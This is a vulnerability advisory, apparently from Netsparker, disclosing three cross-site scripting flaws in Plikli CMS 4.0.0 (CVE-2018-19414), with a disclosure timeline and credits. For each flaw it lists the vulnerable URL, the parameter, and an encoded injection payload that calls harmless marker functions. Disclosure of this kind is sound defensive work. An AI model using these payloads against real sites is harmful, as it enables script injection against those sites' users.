Plikli 4.0.0 Cross Site Scripting

Plikli version 4.0.0 suffers from multiple cross site scripting vulnerabilities.

MD5 | 4e20a5c3eff8d7f9c7eb508418b38341

Multiple Cross-site Scripting Vulnerabilities in Plikli 4.0.0


Advisory by Netsparker
Name: Cross-site Scripting Vulnerabilities in Plikli CMS
Affected Software: Plikli
Affected Versions: 4.0.0
Vulnerability: Cross-site Scripting
Severity: High
Status: Fixed
CVE-ID: CVE-2018-19414
Netsparker Advisory Reference: NS-18-030

Technical Details

Cross-site Scripting

URL : http://NSAppTest/plikli/groups.php?view=search&keyword='+netsparker(0x012CB7)+'
Proof URL : http://NSAppTest/plikli/groups.php?view=search&keyword='+alert(0x012CB7)+'
Parameter Name : keyword
Parameter Type : GET
Attack Pattern : %27%2bnetsparker(0x012CB7)%2b%27

URL : http://NSAppTest/plikli/login.php?return=/ScanApp/plikli/
Parameter Name : username
Parameter Type : POST
Attack Pattern : x%22+onmouseover%3dnetsparker(0x011C31)+x%3d%22

URL : http://NSAppTest/plikli/search.php?search=&scomments=1&stags=1&suser=1&date=</title><scRipt>netsparker(0x01608A)</scRipt>&date_to=&adv=1&advancesearch=Search &slink=3&scategory=3&sgroup=3&status=all
Parameter Name : date
Parameter Type : GET
Attack Pattern : %3c%2ftitle%3e%3cscRipt%3enetsparker(0x01608A)%3c%2fscRipt%3e

For more information on cross-site scripting vulnerabilities read the article Cross-site Scripting (XSS).

Advisory Timeline

28th June 2018 - First Contact
3rd August 2018 - Vendor Fixed
4th December 2018- Advisory Released

Credits & Authors

These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

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